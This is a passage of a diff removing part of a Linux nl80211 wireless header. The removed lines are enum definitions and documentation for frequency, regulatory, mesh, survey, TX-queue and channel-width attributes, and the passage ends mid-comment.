- * @NL80211_FREQUENCY_ATTR_NO_160MHZ: any 160 MHz (but not 80+80) channel
- *	using this channel as the primary or any of the secondary channels
- *	isn't possible
- * @NL80211_FREQUENCY_ATTR_DFS_CAC_TIME: DFS CAC time in milliseconds.
- * @NL80211_FREQUENCY_ATTR_INDOOR_ONLY: Only indoor use is permitted on this
- *	channel. A channel that has the INDOOR_ONLY attribute can only be
- *	used when there is a clear assessment that the device is operating in
- *	an indoor surroundings, i.e., it is connected to AC power (and not
- *	through portable DC inverters) or is under the control of a master
- *	that is acting as an AP and is connected to AC power.
- * @NL80211_FREQUENCY_ATTR_GO_CONCURRENT: GO operation is allowed on this
- *	channel if it's connected concurrently to a BSS on the same channel on
- *	the 2 GHz band or to a channel in the same UNII band (on the 5 GHz
- *	band), and IEEE80211_CHAN_RADAR is not set. Instantiating a GO on a
- *	channel that has the GO_CONCURRENT attribute set can be done when there
- *	is a clear assessment that the device is operating under the guidance of
- *	an authorized master, i.e., setting up a GO while the device is also
- *	connected to an AP with DFS and radar detection on the UNII band (it is
- *	up to user-space, i.e., wpa_supplicant to perform the required
- *	verifications)
- * @NL80211_FREQUENCY_ATTR_NO_20MHZ: 20 MHz operation is not allowed
- *	on this channel in current regulatory domain.
- * @NL80211_FREQUENCY_ATTR_NO_10MHZ: 10 MHz operation is not allowed
- *	on this channel in current regulatory domain.
- * @NL80211_FREQUENCY_ATTR_MAX: highest frequency attribute number
- *	currently defined
- * @__NL80211_FREQUENCY_ATTR_AFTER_LAST: internal use
- *
- * See
- *https://apps.fcc.gov/eas/comments/GetPublishedDocument.html?id=327&tn=528122
- * for more information on the FCC description of the relaxations allowed
- * by NL80211_FREQUENCY_ATTR_INDOOR_ONLY and
- * NL80211_FREQUENCY_ATTR_GO_CONCURRENT.
- */
-enum nl80211_frequency_attr {
-  __NL80211_FREQUENCY_ATTR_INVALID,
-  NL80211_FREQUENCY_ATTR_FREQ,
-  NL80211_FREQUENCY_ATTR_DISABLED,
-  NL80211_FREQUENCY_ATTR_NO_IR,
-  __NL80211_FREQUENCY_ATTR_NO_IBSS,
-  NL80211_FREQUENCY_ATTR_RADAR,
-  NL80211_FREQUENCY_ATTR_MAX_TX_POWER,
-  NL80211_FREQUENCY_ATTR_DFS_STATE,
-  NL80211_FREQUENCY_ATTR_DFS_TIME,
-  NL80211_FREQUENCY_ATTR_NO_HT40_MINUS,
-  NL80211_FREQUENCY_ATTR_NO_HT40_PLUS,
-  NL80211_FREQUENCY_ATTR_NO_80MHZ,
-  NL80211_FREQUENCY_ATTR_NO_160MHZ,
-  NL80211_FREQUENCY_ATTR_DFS_CAC_TIME,
-  NL80211_FREQUENCY_ATTR_INDOOR_ONLY,
-  NL80211_FREQUENCY_ATTR_GO_CONCURRENT,
-  NL80211_FREQUENCY_ATTR_NO_20MHZ,
-  NL80211_FREQUENCY_ATTR_NO_10MHZ,
-
-  /* keep last */
-  __NL80211_FREQUENCY_ATTR_AFTER_LAST,
-  NL80211_FREQUENCY_ATTR_MAX = __NL80211_FREQUENCY_ATTR_AFTER_LAST - 1
-};
-
-#define NL80211_FREQUENCY_ATTR_MAX_TX_POWER NL80211_FREQUENCY_ATTR_MAX_TX_POWER
-#define NL80211_FREQUENCY_ATTR_PASSIVE_SCAN NL80211_FREQUENCY_ATTR_NO_IR
-#define NL80211_FREQUENCY_ATTR_NO_IBSS NL80211_FREQUENCY_ATTR_NO_IR
-#define NL80211_FREQUENCY_ATTR_NO_IR NL80211_FREQUENCY_ATTR_NO_IR
-
-/**
- * enum nl80211_bitrate_attr - bitrate attributes
- * @__NL80211_BITRATE_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_BITRATE_ATTR_RATE: Bitrate in units of 100 kbps
- * @NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE: Short preamble supported
- *	in 2.4 GHz band.
- * @NL80211_BITRATE_ATTR_MAX: highest bitrate attribute number
- *	currently defined
- * @__NL80211_BITRATE_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_bitrate_attr {
-  __NL80211_BITRATE_ATTR_INVALID,
-  NL80211_BITRATE_ATTR_RATE,
-  NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE,
-
-  /* keep last */
-  __NL80211_BITRATE_ATTR_AFTER_LAST,
-  NL80211_BITRATE_ATTR_MAX = __NL80211_BITRATE_ATTR_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_initiator - Indicates the initiator of a reg domain request
- * @NL80211_REGDOM_SET_BY_CORE: Core queried CRDA for a dynamic world
- * 	regulatory domain.
- * @NL80211_REGDOM_SET_BY_USER: User asked the wireless core to set the
- * 	regulatory domain.
- * @NL80211_REGDOM_SET_BY_DRIVER: a wireless drivers has hinted to the
- * 	wireless core it thinks its knows the regulatory domain we should be in.
- * @NL80211_REGDOM_SET_BY_COUNTRY_IE: the wireless core has received an
- * 	802.11 country information element with regulatory information it
- * 	thinks we should consider. cfg80211 only processes the country
- *	code from the IE, and relies on the regulatory domain information
- *	structure passed by userspace (CRDA) from our wireless-regdb.
- *	If a channel is enabled but the country code indicates it should
- *	be disabled we disable the channel and re-enable it upon disassociation.
- */
-enum nl80211_reg_initiator {
-  NL80211_REGDOM_SET_BY_CORE,
-  NL80211_REGDOM_SET_BY_USER,
-  NL80211_REGDOM_SET_BY_DRIVER,
-  NL80211_REGDOM_SET_BY_COUNTRY_IE,
-};
-
-/**
- * enum nl80211_reg_type - specifies the type of regulatory domain
- * @NL80211_REGDOM_TYPE_COUNTRY: the regulatory domain set is one that pertains
- *	to a specific country. When this is set you can count on the
- *	ISO / IEC 3166 alpha2 country code being valid.
- * @NL80211_REGDOM_TYPE_WORLD: the regulatory set domain is the world regulatory
- * 	domain.
- * @NL80211_REGDOM_TYPE_CUSTOM_WORLD: the regulatory domain set is a custom
- * 	driver specific world regulatory domain. These do not apply system-wide
- * 	and are only applicable to the individual devices which have requested
- * 	them to be applied.
- * @NL80211_REGDOM_TYPE_INTERSECTION: the regulatory domain set is the product
- *	of an intersection between two regulatory domains -- the previously
- *	set regulatory domain on the system and the last accepted regulatory
- *	domain request to be processed.
- */
-enum nl80211_reg_type {
-  NL80211_REGDOM_TYPE_COUNTRY,
-  NL80211_REGDOM_TYPE_WORLD,
-  NL80211_REGDOM_TYPE_CUSTOM_WORLD,
-  NL80211_REGDOM_TYPE_INTERSECTION,
-};
-
-/**
- * enum nl80211_reg_rule_attr - regulatory rule attributes
- * @__NL80211_REG_RULE_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_ATTR_REG_RULE_FLAGS: a set of flags which specify additional
- * 	considerations for a given frequency range. These are the
- * 	&enum nl80211_reg_rule_flags.
- * @NL80211_ATTR_FREQ_RANGE_START: starting frequencry for the regulatory
- * 	rule in KHz. This is not a center of frequency but an actual regulatory
- * 	band edge.
- * @NL80211_ATTR_FREQ_RANGE_END: ending frequency for the regulatory rule
- * 	in KHz. This is not a center a frequency but an actual regulatory
- * 	band edge.
- * @NL80211_ATTR_FREQ_RANGE_MAX_BW: maximum allowed bandwidth for this
- *	frequency range, in KHz.
- * @NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN: the maximum allowed antenna gain
- * 	for a given frequency range. The value is in mBi (100 * dBi).
- * 	If you don't have one then don't send this.
- * @NL80211_ATTR_POWER_RULE_MAX_EIRP: the maximum allowed EIRP for
- * 	a given frequency range. The value is in mBm (100 * dBm).
- * @NL80211_ATTR_DFS_CAC_TIME: DFS CAC time in milliseconds.
- *	If not present or 0 default CAC time will be used.
- * @NL80211_REG_RULE_ATTR_MAX: highest regulatory rule attribute number
- *	currently defined
- * @__NL80211_REG_RULE_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_reg_rule_attr {
-  __NL80211_REG_RULE_ATTR_INVALID,
-  NL80211_ATTR_REG_RULE_FLAGS,
-
-  NL80211_ATTR_FREQ_RANGE_START,
-  NL80211_ATTR_FREQ_RANGE_END,
-  NL80211_ATTR_FREQ_RANGE_MAX_BW,
-
-  NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN,
-  NL80211_ATTR_POWER_RULE_MAX_EIRP,
-
-  NL80211_ATTR_DFS_CAC_TIME,
-
-  /* keep last */
-  __NL80211_REG_RULE_ATTR_AFTER_LAST,
-  NL80211_REG_RULE_ATTR_MAX = __NL80211_REG_RULE_ATTR_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_sched_scan_match_attr - scheduled scan match attributes
- * @__NL80211_SCHED_SCAN_MATCH_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_SCHED_SCAN_MATCH_ATTR_SSID: SSID to be used for matching,
- *	only report BSS with matching SSID.
- * @NL80211_SCHED_SCAN_MATCH_ATTR_RSSI: RSSI threshold (in dBm) for reporting a
- *	BSS in scan results. Filtering is turned off if not specified. Note that
- *	if this attribute is in a match set of its own, then it is treated as
- *	the default value for all matchsets with an SSID, rather than being a
- *	matchset of its own without an RSSI filter. This is due to problems with
- *	how this API was implemented in the past. Also, due to the same problem,
- *	the only way to create a matchset with only an RSSI filter (with this
- *	attribute) is if there's only a single matchset with the RSSI attribute.
- * @NL80211_SCHED_SCAN_MATCH_ATTR_MAX: highest scheduled scan filter
- *	attribute number currently defined
- * @__NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_sched_scan_match_attr {
-  __NL80211_SCHED_SCAN_MATCH_ATTR_INVALID,
-
-  NL80211_SCHED_SCAN_MATCH_ATTR_SSID,
-  NL80211_SCHED_SCAN_MATCH_ATTR_RSSI,
-
-  /* keep last */
-  __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST,
-  NL80211_SCHED_SCAN_MATCH_ATTR_MAX =
-      __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST - 1
-};
-
-/* only for backward compatibility */
-#define NL80211_ATTR_SCHED_SCAN_MATCH_SSID NL80211_SCHED_SCAN_MATCH_ATTR_SSID
-
-/**
- * enum nl80211_reg_rule_flags - regulatory rule flags
- *
- * @NL80211_RRF_NO_OFDM: OFDM modulation not allowed
- * @NL80211_RRF_NO_CCK: CCK modulation not allowed
- * @NL80211_RRF_NO_INDOOR: indoor operation not allowed
- * @NL80211_RRF_NO_OUTDOOR: outdoor operation not allowed
- * @NL80211_RRF_DFS: DFS support is required to be used
- * @NL80211_RRF_PTP_ONLY: this is only for Point To Point links
- * @NL80211_RRF_PTMP_ONLY: this is only for Point To Multi Point links
- * @NL80211_RRF_NO_IR: no mechanisms that initiate radiation are allowed,
- * 	this includes probe requests or modes of operation that require
- * 	beaconing.
- * @NL80211_RRF_AUTO_BW: maximum available bandwidth should be calculated
- *	base on contiguous rules and wider channels will be allowed to cross
- *	multiple contiguous/overlapping frequency ranges.
- */
-enum nl80211_reg_rule_flags {
-  NL80211_RRF_NO_OFDM = 1 << 0,
-  NL80211_RRF_NO_CCK = 1 << 1,
-  NL80211_RRF_NO_INDOOR = 1 << 2,
-  NL80211_RRF_NO_OUTDOOR = 1 << 3,
-  NL80211_RRF_DFS = 1 << 4,
-  NL80211_RRF_PTP_ONLY = 1 << 5,
-  NL80211_RRF_PTMP_ONLY = 1 << 6,
-  NL80211_RRF_NO_IR = 1 << 7,
-  __NL80211_RRF_NO_IBSS = 1 << 8,
-  NL80211_RRF_AUTO_BW = 1 << 11,
-};
-
-#define NL80211_RRF_PASSIVE_SCAN NL80211_RRF_NO_IR
-#define NL80211_RRF_NO_IBSS NL80211_RRF_NO_IR
-#define NL80211_RRF_NO_IR NL80211_RRF_NO_IR
-
-/* For backport compatibility with older userspace */
-#define NL80211_RRF_NO_IR_ALL (NL80211_RRF_NO_IR | __NL80211_RRF_NO_IBSS)
-
-/**
- * enum nl80211_dfs_regions - regulatory DFS regions
- *
- * @NL80211_DFS_UNSET: Country has no DFS master region specified
- * @NL80211_DFS_FCC: Country follows DFS master rules from FCC
- * @NL80211_DFS_ETSI: Country follows DFS master rules from ETSI
- * @NL80211_DFS_JP: Country follows DFS master rules from JP/MKK/Telec
- */
-enum nl80211_dfs_regions {
-  NL80211_DFS_UNSET = 0,
-  NL80211_DFS_FCC = 1,
-  NL80211_DFS_ETSI = 2,
-  NL80211_DFS_JP = 3,
-};
-
-/**
- * enum nl80211_user_reg_hint_type - type of user regulatory hint
- *
- * @NL80211_USER_REG_HINT_USER: a user sent the hint. This is always
- *	assumed if the attribute is not set.
- * @NL80211_USER_REG_HINT_CELL_BASE: the hint comes from a cellular
- *	base station. Device drivers that have been tested to work
- *	properly to support this type of hint can enable these hints
- *	by setting the NL80211_FEATURE_CELL_BASE_REG_HINTS feature
- *	capability on the struct wiphy. The wireless core will
- *	ignore all cell base station hints until at least one device
- *	present has been registered with the wireless core that
- *	has listed NL80211_FEATURE_CELL_BASE_REG_HINTS as a
- *	supported feature.
- * @NL80211_USER_REG_HINT_INDOOR: a user sent an hint indicating that the
- *	platform is operating in an indoor environment.
- */
-enum nl80211_user_reg_hint_type {
-  NL80211_USER_REG_HINT_USER = 0,
-  NL80211_USER_REG_HINT_CELL_BASE = 1,
-  NL80211_USER_REG_HINT_INDOOR = 2,
-};
-
-/**
- * enum nl80211_survey_info - survey information
- *
- * These attribute types are used with %NL80211_ATTR_SURVEY_INFO
- * when getting information about a survey.
- *
- * @__NL80211_SURVEY_INFO_INVALID: attribute number 0 is reserved
- * @NL80211_SURVEY_INFO_FREQUENCY: center frequency of channel
- * @NL80211_SURVEY_INFO_NOISE: noise level of channel (u8, dBm)
- * @NL80211_SURVEY_INFO_IN_USE: channel is currently being used
- * @NL80211_SURVEY_INFO_CHANNEL_TIME: amount of time (in ms) that the radio
- *	spent on this channel
- * @NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY: amount of the time the primary
- *	channel was sensed busy (either due to activity or energy detect)
- * @NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY: amount of time the extension
- *	channel was sensed busy
- * @NL80211_SURVEY_INFO_CHANNEL_TIME_RX: amount of time the radio spent
- *	receiving data
- * @NL80211_SURVEY_INFO_CHANNEL_TIME_TX: amount of time the radio spent
- *	transmitting data
- * @NL80211_SURVEY_INFO_MAX: highest survey info attribute number
- *	currently defined
- * @__NL80211_SURVEY_INFO_AFTER_LAST: internal use
- */
-enum nl80211_survey_info {
-  __NL80211_SURVEY_INFO_INVALID,
-  NL80211_SURVEY_INFO_FREQUENCY,
-  NL80211_SURVEY_INFO_NOISE,
-  NL80211_SURVEY_INFO_IN_USE,
-  NL80211_SURVEY_INFO_CHANNEL_TIME,
-  NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY,
-  NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY,
-  NL80211_SURVEY_INFO_CHANNEL_TIME_RX,
-  NL80211_SURVEY_INFO_CHANNEL_TIME_TX,
-
-  /* keep last */
-  __NL80211_SURVEY_INFO_AFTER_LAST,
-  NL80211_SURVEY_INFO_MAX = __NL80211_SURVEY_INFO_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_mntr_flags - monitor configuration flags
- *
- * Monitor configuration flags.
- *
- * @__NL80211_MNTR_FLAG_INVALID: reserved
- *
- * @NL80211_MNTR_FLAG_FCSFAIL: pass frames with bad FCS
- * @NL80211_MNTR_FLAG_PLCPFAIL: pass frames with bad PLCP
- * @NL80211_MNTR_FLAG_CONTROL: pass control frames
- * @NL80211_MNTR_FLAG_OTHER_BSS: disable BSSID filtering
- * @NL80211_MNTR_FLAG_COOK_FRAMES: report frames after processing.
- *	overrides all other flags.
- * @NL80211_MNTR_FLAG_ACTIVE: use the configured MAC address
- *	and ACK incoming unicast packets.
- *
- * @__NL80211_MNTR_FLAG_AFTER_LAST: internal use
- * @NL80211_MNTR_FLAG_MAX: highest possible monitor flag
- */
-enum nl80211_mntr_flags {
-  __NL80211_MNTR_FLAG_INVALID,
-  NL80211_MNTR_FLAG_FCSFAIL,
-  NL80211_MNTR_FLAG_PLCPFAIL,
-  NL80211_MNTR_FLAG_CONTROL,
-  NL80211_MNTR_FLAG_OTHER_BSS,
-  NL80211_MNTR_FLAG_COOK_FRAMES,
-  NL80211_MNTR_FLAG_ACTIVE,
-
-  /* keep last */
-  __NL80211_MNTR_FLAG_AFTER_LAST,
-  NL80211_MNTR_FLAG_MAX = __NL80211_MNTR_FLAG_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_mesh_power_mode - mesh power save modes
- *
- * @NL80211_MESH_POWER_UNKNOWN: The mesh power mode of the mesh STA is
- *	not known or has not been set yet.
- * @NL80211_MESH_POWER_ACTIVE: Active mesh power mode. The mesh STA is
- *	in Awake state all the time.
- * @NL80211_MESH_POWER_LIGHT_SLEEP: Light sleep mode. The mesh STA will
- *	alternate between Active and Doze states, but will wake up for
- *	neighbor's beacons.
- * @NL80211_MESH_POWER_DEEP_SLEEP: Deep sleep mode. The mesh STA will
- *	alternate between Active and Doze states, but may not wake up
- *	for neighbor's beacons.
- *
- * @__NL80211_MESH_POWER_AFTER_LAST - internal use
- * @NL80211_MESH_POWER_MAX - highest possible power save level
- */
-
-enum nl80211_mesh_power_mode {
-  NL80211_MESH_POWER_UNKNOWN,
-  NL80211_MESH_POWER_ACTIVE,
-  NL80211_MESH_POWER_LIGHT_SLEEP,
-  NL80211_MESH_POWER_DEEP_SLEEP,
-
-  __NL80211_MESH_POWER_AFTER_LAST,
-  NL80211_MESH_POWER_MAX = __NL80211_MESH_POWER_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_meshconf_params - mesh configuration parameters
- *
- * Mesh configuration parameters. These can be changed while the mesh is
- * active.
- *
- * @__NL80211_MESHCONF_INVALID: internal use
- *
- * @NL80211_MESHCONF_RETRY_TIMEOUT: specifies the initial retry timeout in
- *	millisecond units, used by the Peer Link Open message
- *
- * @NL80211_MESHCONF_CONFIRM_TIMEOUT: specifies the initial confirm timeout, in
- *	millisecond units, used by the peer link management to close a peer link
- *
- * @NL80211_MESHCONF_HOLDING_TIMEOUT: specifies the holding timeout, in
- *	millisecond units
- *
- * @NL80211_MESHCONF_MAX_PEER_LINKS: maximum number of peer links allowed
- *	on this mesh interface
- *
- * @NL80211_MESHCONF_MAX_RETRIES: specifies the maximum number of peer link
- *	open retries that can be sent to establish a new peer link instance in a
- *	mesh
- *
- * @NL80211_MESHCONF_TTL: specifies the value of TTL field set at a source mesh
- *	point.
- *
- * @NL80211_MESHCONF_AUTO_OPEN_PLINKS: whether we should automatically open
- *	peer links when we detect compatible mesh peers. Disabled if
- *	@NL80211_MESH_SETUP_USERSPACE_MPM or @NL80211_MESH_SETUP_USERSPACE_AMPE
- *are set.
- *
- * @NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES: the number of action frames
- *	containing a PREQ that an MP can send to a particular destination (path
- *	target)
- *
- * @NL80211_MESHCONF_PATH_REFRESH_TIME: how frequently to refresh mesh paths
- *	(in milliseconds)
- *
- * @NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT: minimum length of time to wait
- *	until giving up on a path discovery (in milliseconds)
- *
- * @NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT: The time (in TUs) for which mesh
- *	points receiving a PREQ shall consider the forwarding information from
- *	the root to be valid. (TU = time unit)
- *
- * @NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL: The minimum interval of time (in
- *	TUs) during which an MP can send only one action frame containing a PREQ
- *	reference element
- *
- * @NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME: The interval of time (in TUs)
- *	that it takes for an HWMP information element to propagate across the
- *	mesh
- *
- * @NL80211_MESHCONF_HWMP_ROOTMODE: whether root mode is enabled or not
- *
- * @NL80211_MESHCONF_ELEMENT_TTL: specifies the value of TTL field set at a
- *	source mesh point for path selection elements.
- *
- * @NL80211_MESHCONF_HWMP_RANN_INTERVAL:  The interval of time (in TUs) between
- *	root announcements are transmitted.
- *
- * @NL80211_MESHCONF_GATE_ANNOUNCEMENTS: Advertise that this mesh station has
- *	access to a broader network beyond the MBSS.  This is done via Root
- *	Announcement frames.
- *
- * @NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL: The minimum interval of time (in
- *	TUs) during which a mesh STA can send only one Action frame containing a
- *	PERR element.
- *
- * @NL80211_MESHCONF_FORWARDING: set Mesh STA as forwarding or non-forwarding
- *	or forwarding entity (default is TRUE - forwarding entity)
- *
- * @NL80211_MESHCONF_RSSI_THRESHOLD: RSSI threshold in dBm. This specifies the
- *	threshold for average signal strength of candidate station to establish
- *	a peer link.
- *
- * @NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR: maximum number of neighbors
- *	to synchronize to for 11s default synchronization method
- *	(see 11C.12.2.2)
- *
- * @NL80211_MESHCONF_HT_OPMODE: set mesh HT protection mode.
- *
- * @NL80211_MESHCONF_ATTR_MAX: highest possible mesh configuration attribute
- *
- * @NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT: The time (in TUs) for
- *	which mesh STAs receiving a proactive PREQ shall consider the forwarding
- *	information to the root mesh STA to be valid.
- *
- * @NL80211_MESHCONF_HWMP_ROOT_INTERVAL: The interval of time (in TUs) between
- *	proactive PREQs are transmitted.
- *
- * @NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL: The minimum interval of time
- *	(in TUs) during which a mesh STA can send only one Action frame
- *	containing a PREQ element for root path confirmation.
- *
- * @NL80211_MESHCONF_POWER_MODE: Default mesh power mode for new peer links.
- *	type &enum nl80211_mesh_power_mode (u32)
- *
- * @NL80211_MESHCONF_AWAKE_WINDOW: awake window duration (in TUs)
- *
- * @NL80211_MESHCONF_PLINK_TIMEOUT: If no tx activity is seen from a STA we've
- *	established peering with for longer than this time (in seconds), then
- *	remove it from the STA's list of peers.  Default is 30 minutes.
- *
- * @__NL80211_MESHCONF_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_meshconf_params {
-  __NL80211_MESHCONF_INVALID,
-  NL80211_MESHCONF_RETRY_TIMEOUT,
-  NL80211_MESHCONF_CONFIRM_TIMEOUT,
-  NL80211_MESHCONF_HOLDING_TIMEOUT,
-  NL80211_MESHCONF_MAX_PEER_LINKS,
-  NL80211_MESHCONF_MAX_RETRIES,
-  NL80211_MESHCONF_TTL,
-  NL80211_MESHCONF_AUTO_OPEN_PLINKS,
-  NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES,
-  NL80211_MESHCONF_PATH_REFRESH_TIME,
-  NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT,
-  NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT,
-  NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL,
-  NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME,
-  NL80211_MESHCONF_HWMP_ROOTMODE,
-  NL80211_MESHCONF_ELEMENT_TTL,
-  NL80211_MESHCONF_HWMP_RANN_INTERVAL,
-  NL80211_MESHCONF_GATE_ANNOUNCEMENTS,
-  NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL,
-  NL80211_MESHCONF_FORWARDING,
-  NL80211_MESHCONF_RSSI_THRESHOLD,
-  NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR,
-  NL80211_MESHCONF_HT_OPMODE,
-  NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT,
-  NL80211_MESHCONF_HWMP_ROOT_INTERVAL,
-  NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL,
-  NL80211_MESHCONF_POWER_MODE,
-  NL80211_MESHCONF_AWAKE_WINDOW,
-  NL80211_MESHCONF_PLINK_TIMEOUT,
-
-  /* keep last */
-  __NL80211_MESHCONF_ATTR_AFTER_LAST,
-  NL80211_MESHCONF_ATTR_MAX = __NL80211_MESHCONF_ATTR_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_mesh_setup_params - mesh setup parameters
- *
- * Mesh setup parameters.  These are used to start/join a mesh and cannot be
- * changed while the mesh is active.
- *
- * @__NL80211_MESH_SETUP_INVALID: Internal use
- *
- * @NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL: Enable this option to use a
- *	vendor specific path selection algorithm or disable it to use the
- *	default HWMP.
- *
- * @NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC: Enable this option to use a
- *	vendor specific path metric or disable it to use the default Airtime
- *	metric.
- *
- * @NL80211_MESH_SETUP_IE: Information elements for this mesh, for instance, a
- *	robust security network ie, or a vendor specific information element
- *	that vendors will use to identify the path selection methods and
- *	metrics in use.
- *
- * @NL80211_MESH_SETUP_USERSPACE_AUTH: Enable this option if an authentication
- *	daemon will be authenticating mesh candidates.
- *
- * @NL80211_MESH_SETUP_USERSPACE_AMPE: Enable this option if an authentication
- *	daemon will be securing peer link frames.  AMPE is a secured version of
- *	Mesh Peering Management (MPM) and is implemented with the assistance of
- *	a userspace daemon.  When this flag is set, the kernel will send peer
- *	management frames to a userspace daemon that will implement AMPE
- *	functionality (security capabilities selection, key confirmation, and
- *	key management).  When the flag is unset (default), the kernel can
- *	autonomously complete (unsecured) mesh peering without the need of a
- *	userspace daemon.
- *
- * @NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC: Enable this option to use a
- *	vendor specific synchronization method or disable it to use the default
- *	neighbor offset synchronization
- *
- * @NL80211_MESH_SETUP_USERSPACE_MPM: Enable this option if userspace will
- *	implement an MPM which handles peer allocation and state.
- *
- * @NL80211_MESH_SETUP_AUTH_PROTOCOL: Inform the kernel of the authentication
- *	method (u8, as defined in IEEE 8.4.2.100.6, e.g. 0x1 for SAE).
- *	Default is no authentication method required.
- *
- * @NL80211_MESH_SETUP_ATTR_MAX: highest possible mesh setup attribute number
- *
- * @__NL80211_MESH_SETUP_ATTR_AFTER_LAST: Internal use
- */
-enum nl80211_mesh_setup_params {
-  __NL80211_MESH_SETUP_INVALID,
-  NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL,
-  NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC,
-  NL80211_MESH_SETUP_IE,
-  NL80211_MESH_SETUP_USERSPACE_AUTH,
-  NL80211_MESH_SETUP_USERSPACE_AMPE,
-  NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC,
-  NL80211_MESH_SETUP_USERSPACE_MPM,
-  NL80211_MESH_SETUP_AUTH_PROTOCOL,
-
-  /* keep last */
-  __NL80211_MESH_SETUP_ATTR_AFTER_LAST,
-  NL80211_MESH_SETUP_ATTR_MAX = __NL80211_MESH_SETUP_ATTR_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_txq_attr - TX queue parameter attributes
- * @__NL80211_TXQ_ATTR_INVALID: Attribute number 0 is reserved
- * @NL80211_TXQ_ATTR_AC: AC identifier (NL80211_AC_*)
- * @NL80211_TXQ_ATTR_TXOP: Maximum burst time in units of 32 usecs, 0 meaning
- *	disabled
- * @NL80211_TXQ_ATTR_CWMIN: Minimum contention window [a value of the form
- *	2^n-1 in the range 1..32767]
- * @NL80211_TXQ_ATTR_CWMAX: Maximum contention window [a value of the form
- *	2^n-1 in the range 1..32767]
- * @NL80211_TXQ_ATTR_AIFS: Arbitration interframe space [0..255]
- * @__NL80211_TXQ_ATTR_AFTER_LAST: Internal
- * @NL80211_TXQ_ATTR_MAX: Maximum TXQ attribute number
- */
-enum nl80211_txq_attr {
-  __NL80211_TXQ_ATTR_INVALID,
-  NL80211_TXQ_ATTR_AC,
-  NL80211_TXQ_ATTR_TXOP,
-  NL80211_TXQ_ATTR_CWMIN,
-  NL80211_TXQ_ATTR_CWMAX,
-  NL80211_TXQ_ATTR_AIFS,
-
-  /* keep last */
-  __NL80211_TXQ_ATTR_AFTER_LAST,
-  NL80211_TXQ_ATTR_MAX = __NL80211_TXQ_ATTR_AFTER_LAST - 1
-};
-
-enum nl80211_ac {
-  NL80211_AC_VO,
-  NL80211_AC_VI,
-  NL80211_AC_BE,
-  NL80211_AC_BK,
-  NL80211_NUM_ACS
-};
-
-/* backward compat */
-#define NL80211_TXQ_ATTR_QUEUE NL80211_TXQ_ATTR_AC
-#define NL80211_TXQ_Q_VO NL80211_AC_VO
-#define NL80211_TXQ_Q_VI NL80211_AC_VI
-#define NL80211_TXQ_Q_BE NL80211_AC_BE
-#define NL80211_TXQ_Q_BK NL80211_AC_BK
-
-/**
- * enum nl80211_channel_type - channel type
- * @NL80211_CHAN_NO_HT: 20 MHz, non-HT channel
- * @NL80211_CHAN_HT20: 20 MHz HT channel
- * @NL80211_CHAN_HT40MINUS: HT40 channel, secondary channel
- *	below the control channel
- * @NL80211_CHAN_HT40PLUS: HT40 channel, secondary channel
- *	above the control channel
- */
-enum nl80211_channel_type {
-  NL80211_CHAN_NO_HT,
-  NL80211_CHAN_HT20,
-  NL80211_CHAN_HT40MINUS,
-  NL80211_CHAN_HT40PLUS
-};
-
-/**
- * enum nl80211_chan_width - channel width definitions
- *
- * These values are used with the %NL80211_ATTR_CHANNEL_WIDTH
- * attribute.
- *
- * @NL80211_CHAN_WIDTH_20_NOHT: 20 MHz, non-HT channel
- * @NL80211_CHAN_WIDTH_20: 20 MHz HT channel
- * @NL80211_CHAN_WIDTH_40: 40 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
- *	attribute must be provided as well
- * @NL80211_CHAN_WIDTH_80: 80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
- *	attribute must be provided as well
- * @NL80211_CHAN_WIDTH_80P80: 80+80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
- *	and %NL80211_ATTR_CENTER_FREQ2 attributes must be provided as well
- * @NL80211_CHAN_WIDTH_160: 160 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
- *	attribute must be provided as well
- * @NL80211_CHAN_WIDTH_5: 5 MHz OFDM channel
